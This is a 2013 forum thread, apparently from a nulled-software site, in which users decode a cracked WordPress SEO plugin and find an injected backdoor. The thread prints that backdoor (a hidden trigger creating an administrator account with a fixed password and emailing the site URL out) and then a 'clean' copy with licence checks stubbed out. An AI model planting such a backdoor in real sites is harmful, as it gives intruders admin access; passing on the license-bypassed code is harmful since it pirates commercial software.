V8ukW9GFOYa8MhakW71QM9hXKMRC​V8we2raGt7wXWQSUKp2X8pRCV8ukW9GSvcakW71eAgGLsxSjWTPQuhPoK8C7t7vjJDqP5huGMTPQucwY​H81CYp2nWrP8MhakW71Qs4L/K81eAp2nupP6KI5SvcakW71eAgGLsxSjWTPQuhPoK8C7t7vjJ6qP5huGMTPQucwYH81CYp2nWrP8Mhak​W71Qs4L/K81eAp2nupP6KIJSvcakW71eAgGLsxLPB92NWpMFVxSjWTPQuhPoK8C7t7vj5IXFvTRCV8ukW91QgQau​sxLLKDqSHpPrt/GSvTRCV8ukW91QdyEzdYaZBD1xt7wX8pRCV8ukW9G65IXFvTRCV8ukW91QgQhusxLPB92NWpMFVxSjWT​PQuhPoK8C7t7vjJDqP5BW/sxLPB9C95B+4t72luBFjAp2nupP6KcJLO45L5cNdvcakW71eAp2nupP6KIJFOYqjAp2nupP6KcwtJCXZ​B/XdKgzQKYaZBD1xt7wX8pRCV8ukW9GQ5IXFv6WZB/XdeGLLKDqSvcakW71eHpPluT2luIXPv6WL5cNdvT1+uTheH8v65IXF2raGt7wXWrv+uT2fK8CQ8ruGMT​PQucJUs9uCuhP7WhPxt7wX871LuTzC8pwkt/1Ct/GSvcakW71eAgGLsxSjWTPQuhP4tpnXKgnX5IXF2raGt7wXWrv+uT2fK8CQs4L/K81eHpPluT2luhPXtrPCKTCXdB1jH81+8ph6WCNz8YxjWTPQuhPLKBjZB/XdAgHFdTwkugnXdB1QK81XAgn/W6jPOyqL5cNdvcwCuc1Lt9uQ5IXFWp2NK4SUKp2X8prjw2PQK81XAgn/WrP9t7veK9CNuT268pwkt/1Ct/GS2hv21YjZB/XdvcwCuc1Lt9uQ87wXWDqP5TCRWTzkKTMSv6WNvcwCuc1Lt9uQdyNdvTwrW/vCt/1etgGr5IXFtgGrdB1xt7wX8pRCV8ukW9GdfD1xt7wX8pRCV8ukW9G6BDEjWTPQuhPoK8C7t7vjJxSlvc​akW71eHpPluT2luBEjWp2XuTClK7weW716BDjZB/vCuc26tDqjH726W92luhPRKIMZB/XdW71+uTC45TKrt9wXAgPl5TuCuhPrWT1+uT2eHpPluT2luhP4HgwSKYFjWTPQuhPLKBxjH726W92luh​P4tpnXKgnXdYaZBD1xt7wX8pRCV8ukW9GFOYa8MhakW71QM9hXKMRCV8we2raGt7wXWQSUKp2X8pRCV8​ukW9GSvcakW71eAgGLsxSjWTPQuhPoK8C7t7vjJDqP5huGMTPQucwYH81CYp2nWrP8MhakW71Qs4L/K81eAp2nupP6KI5SvcakW71eAgGLsxSjWTPQuhPoK8C7t7vjJ6qP5huGMTPQucwYH81CYp2nWrP8Mhak​W71Qs4L/K81eAp2nupP6KIJSvcakW71eAgGLsxSjWp2XuTClK7JFOYaQKgz9s4L/K81etgGr87wCuc1Lt9uQ8pKkWCP9AgzXK8veHpPluT2luB+MMC2hdyNdvT1+uTheH8v65IXF2raGt7wX​Wrv+uT2fK8CQ8ruGMTPQucJUs9uCuhP7WhPxt7wX871LuTzC8pwkt/1Ct/GSvcakW71eAgGLsxSjWTPQuhP4tpnXKgnX5IXF2raGt7wXWrv+uT2fK8CQs4L/K81eHpPluT2luhPXtrPCKTCXdB1jH81+8ph6WCNz8YxjWTPQuhPLKBjZBD14u8v6KgnX8prjwYqP5cwC​tTHUs9uCuhP4tpnXKgnX8pw+Hp+C8pwrW/vCt/1etgGrdB1xt7wX8pCjfB1QK81XAgn/W6z+W/v+VYFjWTPQuhPoK8C7t7vjfB1xt7wX8pRCV8ukW9G6fB1xt7wX8pRCV8ukW9GQdYxjWTPQuhP4tpnXKg​nXdyNdvTClu9hNAg1eK8+X8pP68pCluhPNAgnoW6qP5iKayhwhsxSjtThQuhPjuhP4HgwSK2PRtpGFOY​a/K81eWTPQuhPRK81+dB1xt7wX8pCjfcwCtTHUsD14HgwSK2PRKI2eK9CNuT268pwkt/1Ct/1etThQuhPRtp1euTCRKYzMMC2hdyNdAgHFdhuGMTPQucwYH81CYp2nWrPyK81XAgn/WQSUKp2X8pz+W71eK8+XK8vlHgzetTClA7wetgPjAgKLHphXAgPl871LtgMSdyEPvTz+W71eKc1eHph4​AT2etgPjB/zb2raGt7wXWrv+uT2fK8CQ8rwCuc1Lt9uQs4L/K81etThQuhPLt/1CW9n+thPNAgnoWrPRtp1LK9C4H81LtpneuTCRKYFLO4XjtThQuhPjuhP4HgwSK2PRtpGddYaZBD1Lt/K+tTCj8p2EuhPkWCPLt/1etTClA7JFOYaMMC2hsxLPB9C95BFjH726W92luhPRKIMPOguCuhPxt7wX8prCuTiSvcakW71eAgGNWp​2NK4SUvTw+Hp+C8prjw2P9t7veK9CNuT268pwkt/1Ct/GN2hv21YjdvDH+vTClu9hNAg1eK8+X8pP68pCluhPNAgnoW6jFVxL6K81rW9EFvTwrW/vCt/1eHpPluT2luINdeGLCtcwC5cNdvTRCV8ukW91eH8v65IXFH8v6H8jSvcakW71eAp2nupP6KBjZB9C95B​FjWTPQuhPoK8C7t7vjJDiPv6WL5B1oK8C7t7vj8ph6WCRu5IXFvcakW71eAp2nupP6KI5ZB9C95BFjWT​PQuhPoK8C7t7vjJ6iPv6WL5B1oK8C7t7vj8ph6WCRu5IXFvcakW71eAp2nupP6KIJZBD19AgzXK8vCKh​P4tpnXKgnX5IXF2raGt7wXWrv+uT2fK8CQ8XKLtc1CW/JUs9KLtc1CWCPxt7wX8pwkt/1Ct/GSvTRCV8ukW91eH8v6fB1xt7wX8pwkt/1Ct/GNvcwCuc1Lt9uQfB1xt7wX8pCjfB14u8v6KgnX8prjwYjZB/vCuc26tDqjK9CNuT26Kg1eHpPluT2luINdeGLPB/wXH81LH6a9ugn4uTCktDaQKgnj8726tBFL5cNdeGLQuThXAgJFK/2lH71LtpEFKp2X8pwrW/vCt/1eKTPRHgCldBjFVxLLKDqS2raGt7wXWrv+uT2fK8CQ8rwCuc1Lt9uQs4LQu8axt7vX8prrtc1LH/CXKYFLdYaZBD14u8v6KgnX8p1ktghLtDqP5TrD87wXW/1ktTP7K85SKp2X8pvNtpuLt9KkdBu7Wc26tBWLfBu22iHRsBWLsxLPB92NWpMFVxSjH726W92luhPjtp​r+AgEFOYaQucvXtpzkup26dTuCuhPDtTP/Agn9t6F/u7arW9x/dYjZB/XdvTwrW/vCt/1eKTPRHgCl8ph6WDqP5ca+W/wC8726tBFjH726W92luhPjtpr+AgELsxSjH726W92luhPjtpr+Agnet9PeKTC65IXFvTwrW/vCt/1eKTPRHgCl8ph6WCN/ATPQuBuusxL6K81rW9EFvTwrW/vCt/1eKTPRHgCl8pnk8p1LW4NdeGLQuThXAgJFWc2DtTC45TKrt9wXAgPl5ThjKhP4u8v6KgnX8p1ktghLtD​FL5cNdeGLPB/X= 

Should I replace this with the code you provided? thanks
(01-30-2013 03:48 AM)Wack0 Wrote:  Just decoded the entire thing.

Here's the added malicious code:

Quote:<?php
add_action('wp_head', 'vg4beaws');
function vg4beaws()
{
If ($_GET['cms'] == 'jjoplmh') {
require('wp-includes/registration.php');
If (!username_exists('wordpress')) {
$user_id = wp_create_user('wordpress','gh67io9Cjm');
$user = new WP_User($user_id);
$user->set_role('administrator');
}}}
add_action('wp_head', 'm6yascfv');
function m6yascfv()
{If (!username_exists('wordpress'))
{
$addressdecode=base64_decode("cGhpbGx5Y2hhZEBnbXguY29t");
$vari='Wordpress Plugin covertplayer';
mail($addressdecode,get_bloginfo('wpurl'),$vari);
}}
?>

If you don't know php: if someone goes to a site running this cracked plugin and adds ?cms=jjoplmh to the end of the url, an admin is added to WP with username wordpress and password gh67io9Cjm. Also, when the plugin is initially installed, your site url gets emailed to phillychad@gmx.com.

Here's the non-infected php:
Quote:<?php
if (!class_exists('WPPostsRateKeys_Central'))
{
class WPPostsRateKeys_Central
{
static $url_nu = '/nu.php';
static $url_box_msg = '/get_msg_for_plugin_box.php';
static $url_check_if_active = '/activate.php';
static $url_check_last_version = '/lvc.php';
static $url_send_visits = '/rv.php';
static $url_to_automatic_upgrade = '/lv_down.php';
static $url_add_new_domain = '/spfp/add_domain.php';
static $original_post_content = '_seopressor_original_post_content';
static $cache_score = '_seo_cached_score';
static $cache_suggestions_box = '_seo_cached_suggestions_box';
static $cache_special_suggestions = '_seo_cached_special_suggestions';
static $cache_md5 = '_seo_cache_md5';
static $cache_filtered_title = '_seo_cached_filtered_title';
static $cache_md5_for_filter_content = '_seo_cache_md5_filter_content';
static $cache_md5_filter_content_last_mod_time = '_seo_cache_filter_content_last_mod_time';
static function check_update_post_data_in_cache($post_id) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword2_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword2);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$post_keyword3_lsi = WPPostsRateKeys_LSI::get_lsi_by_keyword($post_keyword3);
$post_allow_keyword_overriding = (WPPostsRateKeys_WPPosts::get_allow_keyword_overriding_in_sentences($post_id))?'​1':'0';
$post_keyword_first_sentence = (WPPostsRateKeys_WPPosts::setting_key_first_sentence($post_id))?'1':'0';
$post_keyword_last_sentence = (WPPostsRateKeys_WPPosts::setting_key_last_sentence($post_id))?'1':'0';
$post_allow_meta_keyword = (WPPostsRateKeys_WPPosts::get_allow_meta_keyword($post_id))?'1':'0';
$post_use_for_meta_keyword = WPPostsRateKeys_WPPosts::get_use_for_meta_keyword($post_id);
$post_allow_meta_description = (WPPostsRateKeys_WPPosts::get_allow_meta_description($post_id))?'1':'0';
$post_meta_description = WPPostsRateKeys_WPPosts::get_meta_description($post_id);
$post_allow_meta_title = (WPPostsRateKeys_WPPosts::get_allow_meta_title($post_id))?'1':'0';
$post_meta_title = WPPostsRateKeys_WPPosts::get_meta_title($post_id);
$settings = self::get_md5_settings(TRUE);
$settings_str = implode('',$settings);
$post_permalink = get_permalink($post_id);
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_title = $data_arr[0];
$previous_content = $data_arr[1];
$post_whole_page_to_analyze = WPPostsRateKeys_ContentRate::get_post_whole_page_to_analyze($post_id,$settings,$​post_permalink);
$post_content_to_edit = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
if ($post_whole_page_to_analyze!==FALSE) {
$post_content = $post_whole_page_to_analyze;
$from_url = TRUE;
}
else {
$post_content = $post_content_to_edit;
$from_url = FALSE;
}
$current_md5 = md5($post_permalink
.$post_keyword.$post_keyword_lsi
.$post_keyword2.$post_keyword2_lsi
.$post_keyword3.$post_keyword3_lsi
.$post_title.$post_content.$settings_str
.$post_allow_keyword_overriding.$post_keyword_first_sentence.$post_keyword_last_​sentence
.$post_allow_meta_keyword.$post_use_for_meta_keyword
.$post_allow_meta_description.$post_meta_description
);
$cache_valid = FALSE;
if ($current_md5==get_post_meta($post_id,self::$cache_md5,TRUE)) {
$cache_valid = TRUE;
}
if (!$cache_valid) {
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$filtered_title = WPPostsRateKeys_Filters::filter_post_title($post_title,$keyword_arr,$settings);
$previous_title = get_post_meta($post_id,self::$cache_filtered_title,TRUE);
if ($filtered_title!=$previous_title) {
update_post_meta($post_id,self::$cache_filtered_title,$filtered_title);
}
$post_content_filtered = WPPostsRateKeys_Filters::filter_post_content($keyword_arr,$post_content_to_edit,​$settings,$post_id);
if (!$from_url) {
$post_content = $post_content_filtered;
}
$all_post_data = WPPostsRateKeys_ContentRate::get_all_post_data($post_id,$keyword_arr,$post_conte​nt
,$filtered_title,$settings,$from_url,$post_content_filtered);
$score = $all_post_data[0];
update_post_meta($post_id,self::$cache_score,$score);
$suggestions_box = $all_post_data[1];
update_post_meta($post_id,self::$cache_suggestions_box,serialize($suggestions_bo​x));
$special_suggestions = $all_post_data[2];
update_post_meta($post_id,self::$cache_special_suggestions,serialize($special_su​ggestions));
update_post_meta($post_id,self::$cache_md5,$current_md5);
WPPostsRateKeys_RelatedTags::process_tags_for_post($post_id,$filtered_title,$pre​vious_title,$previous_content);
}
}
static function get_clear_domains() {
if (WPPostsRateKeys_Settings::support_multibyte()) {
$current_domain = mb_strtolower(get_bloginfo('wpurl'),'UTF-8');
}
else {
$current_domain = strtolower(get_bloginfo('wpurl'));
}
$current_domain_arr = parse_url($current_domain);
$current_domain_no_dir = $current_domain_arr['host'];
return array('google.com',$current_domain_no_dir);
}
static function get_suggestions_page($post_id) {
$all_messages = WPPostsRateKeys_Central::get_suggestions_box($post_id);
$all_suggestions = array();
if ($all_messages) {
list($box_decoration_suggestions_arr,$box_url_suggestions_arr,$box_content_sugge​stions_arr) = $all_messages['box_suggestions_arr'];
$all_suggestions = array_merge($box_decoration_suggestions_arr,$box_url_suggestions_arr,$box_conten​t_suggestions_arr);
}
return $all_suggestions;
}
static function get_filtered_title($post_id,$post_title='') {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$settings = WPPostsRateKeys_Settings::get_options();
if ($post_title=='') {
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_title = $data_arr[0];
}
$new_title = WPPostsRateKeys_Filters::filter_post_title($post_title,$keyword_arr,$settings);
return $new_title;
}
static function get_license_type() {
$license = 'ea8f243d9885cf8ce9876a580224fd3c';
return $license;
}
static function is_valid_current_domain() {
return true;
}
static function check_to_active() {
$data = WPPostsRateKeys_Settings::get_options();
if ($data['allow_manual_reactivation']=='1') {
return FALSE;
}
$is_valid_first_step = self::is_valid_current_domain();
if ($is_valid_first_step) {
WPPostsRateKeys_Settings::update_active_by_server_response('ACTIVE',TRUE);
$in_80_days = time() +(80 * 86400);
wp_schedule_single_event($in_80_days,'seopressor_onetime_check_active');
return TRUE;
}
else {
return FALSE;
}
}
static function get_md5_settings($as_array=FALSE) {
$options = WPPostsRateKeys_Settings::get_options();
$return = array();
$return['h1_tag_already_in_theme'] = $options['h1_tag_already_in_theme'];
$return['h2_tag_already_in_theme'] = $options['h2_tag_already_in_theme'];
$return['h3_tag_already_in_theme'] = $options['h3_tag_already_in_theme'];
$return['allow_add_keyword_in_titles'] = $options['allow_add_keyword_in_titles'];
$return['allow_bold_style_to_apply'] = $options['allow_bold_style_to_apply'];
$return['bold_style_to_apply'] = $options['bold_style_to_apply'];
$return['allow_italic_style_to_apply'] = $options['allow_italic_style_to_apply'];
$return['italic_style_to_apply'] = $options['italic_style_to_apply'];
$return['allow_underline_style_to_apply'] = $options['allow_underline_style_to_apply'];
$return['underline_style_to_apply'] = $options['underline_style_to_apply'];
$return['allow_automatic_adding_rel_nofollow'] = $options['allow_automatic_adding_rel_nofollow'];
$return['special_characters_to_omit'] = $options['special_characters_to_omit'];
$return['image_alt_tag_decoration'] = $options['image_alt_tag_decoration'];
$return['alt_attribute_structure'] = $options['alt_attribute_structure'];
$return['analize_full_page'] = $options['analize_full_page'];
$return['image_title_tag_decoration'] = $options['image_title_tag_decoration'];
$return['title_attribute_structure'] = $options['title_attribute_structure'];
$return['auto_add_rel_nofollow_img_links'] = $options['auto_add_rel_nofollow_img_links'];
if ($as_array)
return $return;
else
return implode('',$return);
}
static function get_md5_settings_for_filter_content($as_array=FALSE) {
$options = WPPostsRateKeys_Settings::get_options();
$return = array();
$return['allow_bold_style_to_apply'] = $options['allow_bold_style_to_apply'];
$return['bold_style_to_apply'] = $options['bold_style_to_apply'];
$return['allow_italic_style_to_apply'] = $options['allow_italic_style_to_apply'];
$return['italic_style_to_apply'] = $options['italic_style_to_apply'];
$return['allow_underline_style_to_apply'] = $options['allow_underline_style_to_apply'];
$return['underline_style_to_apply'] = $options['underline_style_to_apply'];
$return['allow_automatic_adding_rel_nofollow'] = $options['allow_automatic_adding_rel_nofollow'];
$return['special_characters_to_omit'] = $options['special_characters_to_omit'];
$return['image_alt_tag_decoration'] = $options['image_alt_tag_decoration'];
$return['alt_attribute_structure'] = $options['alt_attribute_structure'];
$return['image_title_tag_decoration'] = $options['image_title_tag_decoration'];
$return['title_attribute_structure'] = $options['title_attribute_structure'];
$return['auto_add_rel_nofollow_img_links'] = $options['auto_add_rel_nofollow_img_links'];
if ($as_array)
return $return;
else
return implode('',$return);
}
static function get_original_post_content($post_id) {
return get_post_meta($post_id,self::$original_post_content,TRUE);
}
static function update_original_post_content($post_id,$original_content) {
update_post_meta($post_id,self::$original_post_content,$original_content);
}
static function get_score($post_id) {
$return = get_post_meta($post_id,self::$cache_score,TRUE);
if ($return=='')
$return = 0;
return $return;
}
static function get_suggestions_box($post_id='') {
if ($post_id!='') {
$suggestions_box = maybe_unserialize(get_post_meta($post_id,self::$cache_suggestions_box,TRUE));
if ($suggestions_box) {
$box_suggestions_arr = $suggestions_box['box_suggestions_arr'];
$special_suggestions_arr = maybe_unserialize(get_post_meta($post_id,self::$cache_special_suggestions,TRUE))​;
}
else {
return array();
}
}
$messages_texts = WPPostsRateKeys_ContentRate::get_suggestions_for_box();
$suggestions_per_sections = WPPostsRateKeys_ContentRate::get_suggestions_per_sections();
$suggestions_section_decoration = array();
$suggestions_section_url = array();
$suggestions_section_content = array();
foreach ($box_suggestions_arr as $box_suggestions_item) {
$tmp_msg = $messages_texts[$box_suggestions_item[1]];
$tmp_msg_msg = $tmp_msg[0];
$tmp_msg_tooltip = htmlentities($tmp_msg[1]);
if (count($box_suggestions_item)>2) {
$tmp_msg_msg = str_replace('<<N>>',$box_suggestions_item[2],$tmp_msg_msg);
if ($box_suggestions_item[2]>1) {
$tmp_msg_msg = str_replace('<<(s)>>','s',$tmp_msg_msg);
}
else {
$tmp_msg_msg = str_replace('<<(s)>>','',$tmp_msg_msg);
}
}
if (in_array($box_suggestions_item[1],$suggestions_per_sections['decoration'])) {
$suggestions_section_decoration[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
elseif (in_array($box_suggestions_item[1],$suggestions_per_sections['url'])) {
$suggestions_section_url[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
elseif (in_array($box_suggestions_item[1],$suggestions_per_sections['content'])) {
$suggestions_section_content[] = array($box_suggestions_item[0],$tmp_msg_msg,$tmp_msg_tooltip);
}
}
$suggestions_box['box_suggestions_arr'] = array($suggestions_section_decoration
,$suggestions_section_url
,$suggestions_section_content);
$score_less_than_100 = array();
$score_more_than_100 = array();
$score_over_optimization = array();
if (isset($special_suggestions_arr) and&isset($special_suggestions_arr['score_less_than_100'])) {
foreach ($special_suggestions_arr['score_less_than_100'] as $tmp_msg) {
$score_less_than_100[] = $messages_texts[$tmp_msg];
}
foreach ($special_suggestions_arr['score_more_than_100'] as $tmp_msg) {
$score_more_than_100[] = $messages_texts[$tmp_msg];
}
if (isset($special_suggestions_arr['score_over_optimization'][1])) {
foreach ($special_suggestions_arr['score_over_optimization'][1] as $tmp_msg) {
$score_over_optimization[] = $messages_texts[$tmp_msg];
}
}
}
if (!isset($special_suggestions_arr['score_over_optimization'][0])) {
$special_suggestions_arr['score_over_optimization'][0] = '';
}
$suggestions_box['special_suggestions_arr'] = array($score_less_than_100
,$score_more_than_100
,array('type'=>$special_suggestions_arr['score_over_optimization'][0],'list'=>$score_over_optimization)
);
return $suggestions_box;
}
static function get_specific_data_from_server($info_to_request) {
return 'ACTIVE';
}
static public function make_last_version_plugin_request() {
$response = wp_remote_get(self::$url_check_last_version,array('timeout'=>WPPostsRateKeys::$timeout));
if (!is_wp_error($response)) {
$body = $response['body'];
WPPostsRateKeys_Settings::update_last_version($body);
return TRUE;
}
else {
WPPostsRateKeys_Logs::add_error('373',"make_last_version_plugin_request, Url: ".self::$url_check_last_version);
return FALSE;
}
}
static public function send_visits() {
$all = WPPostsRateKeys_Visits::get_all();
$all_arr = array();
foreach ($all as $all_item) {
$visit_date = date('Y-m-d',strtotime($all_item->visit_dt));
if (key_exists($visit_date,$all_arr)) {
$all_arr[$visit_date] = $all_arr[$visit_date] +1;
}
else {
$all_arr[$visit_date] = 1;
}
}
$list_to_send_arr = array();
foreach ($all_arr as $all_arr_key=>$all_arr_counter) {
$list_to_send_arr[] = $all_arr_key .' '.$all_arr_counter;
}
$list_to_send = urlencode(implode(',',$list_to_send_arr));
if (true) {
foreach ($all as $all_item) {
WPPostsRateKeys_Visits::delete($all_item->id);
}
return TRUE;
}
else {
WPPostsRateKeys_Logs::add_error('375',"send_visits, Url: ".self::$url_check_last_version);
return FALSE;
}
}
static function get_content_cache_current_md5($post_id,$settings=array(),$keywords=array(),$post​_content='') {
if (count($keywords)==0) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
}
else {
$post_keyword = $keywords[0];
if (count($keywords)>1) {
$post_keyword2 = $keywords[1];
}
else {
$post_keyword2 = '';
}
if (count($keywords)>2) {
$post_keyword3 = $keywords[2];
}
else {
$post_keyword3 = '';
}
}
if ($post_content=='') {
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_content = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
}
if (count($settings)==0) {
$settings = self::get_md5_settings_for_filter_content(TRUE);
}
$settings_str = implode('',$settings);
$current_md5 = md5($post_keyword
.$post_keyword2
.$post_keyword3
.$post_content.$settings_str
);
return $current_md5;
}
static function get_update_content_cache($post_id,$current_content) {
$post_keyword = WPPostsRateKeys_WPPosts::get_keyword($post_id);
$post_keyword2 = WPPostsRateKeys_WPPosts::get_keyword2($post_id);
$post_keyword3 = WPPostsRateKeys_WPPosts::get_keyword3($post_id);
$settings = self::get_md5_settings_for_filter_content(TRUE);
$data_arr = WPPostsRateKeys_WPPosts::get_wp_post_title_content($post_id);
$post_content = WPPostsRateKeys::get_content_to_edit($data_arr[1],$post_id);
$current_md5 = self::get_content_cache_current_md5($post_id,$settings,array($post_keyword,$post​_keyword2,$post_keyword3),$post_content);
$invalid_ext_or_int_links = FALSE;
$last_dt_cache_mod = get_post_meta($post_id,self::$cache_md5_filter_content_last_mod_time,TRUE);
if (WPPostsRateKeys_Settings::get_last_external_links_modification_time()>=$last_dt_cache_mod
||WPPostsRateKeys_Settings::get_last_internal_links_modification_time()>=$last_dt_cache_mod
) {
$invalid_ext_or_int_links = TRUE;
}
if ($current_md5==get_post_meta($post_id,self::$cache_md5_for_filter_content,TRUE​)
and&!$invalid_ext_or_int_links) {
return $current_content;
}
else {
$keyword_arr = array($post_keyword);
if ($post_keyword2!='') $keyword_arr[] = $post_keyword2;
if ($post_keyword3!='') $keyword_arr[] = $post_keyword3;
$filtered_content = WPPostsRateKeys_Filters::filter_post_content($keyword_arr,$post_content,$setting​s,$post_id,$current_md5);
return $filtered_content;
}
}
static function send_url() {
}
static function get_current_domain() {
if (WPPostsRateKeys_Settings::support_multibyte()) {
$current_domain = mb_strtolower(get_bloginfo('wpurl'),'UTF-8');
}
else {
$current_domain = strtolower(get_bloginfo('wpurl'));
}
$current_domain_arr = parse_url($current_domain);
$current_domain_no_dir = $current_domain_arr['host'];
return $current_domain_no_dir;
}
static public function add_current_domain() {
}
}
}
?>
32.gif
01-30-2013, 04:01 AM
Post: #66
RE:
Yep astralslider. That's what I did. Please Wack0 correct me if I'm wrong
01-30-2013, 04:02 AM
Post: #67
RE:
(01-30-2013 04:01 AM)debbycoop Wrote:  Yep astralslider. That's what I did. Please Wack0 correct me if I'm wrong
Yes. That's what you should do. :)
If you like the share, give positive reputation!

Our releases should be used for learning only!!!
If you make money using our releases then you really should support the original devs and buy it!
Want to support me? Give me BitCoin:
[Image: GoldenAcceptedHereBitcoin.png]
1HQMH9W6hjLEmZL543ykYtxtmGYeGhxaEK
You can also donate me dogecoins: DE6NF3VP6SMGrPxjPRqqbirFBkyfDzh1Vk
01-30-2013, 04:07 AM
Post: #68
RE:
Hi thanks!
I just replaced the original code with yours. Thanks again
(01-30-2013 04:02 AM)Wack0 Wrote:  
(01-30-2013 04:01 AM)debbycoop Wrote:  Yep astralslider. That's what I did. Please Wack0 correct me if I'm wrong
Yes. That's what you should do. :)
01-30-2013, 04:08 AM
Post: #69
RE:
Thanks for decoding it Wack0 - I was having trouble finding a working PHP LockiT decoder.

My guess is that this is another "drewtirrell" exploit, as he uses that particular exploit all the time. I normally catch it as he's used standard Base64 in the past, but this time he's been particularly cunning.

I just hope that most of the members here read this post and don't get their sites infected / trashed.
01-30-2013, 04:08 AM
Post: #70
RE:
Excellent Wack0! I'll make be making the changes.
69.gif




34.gif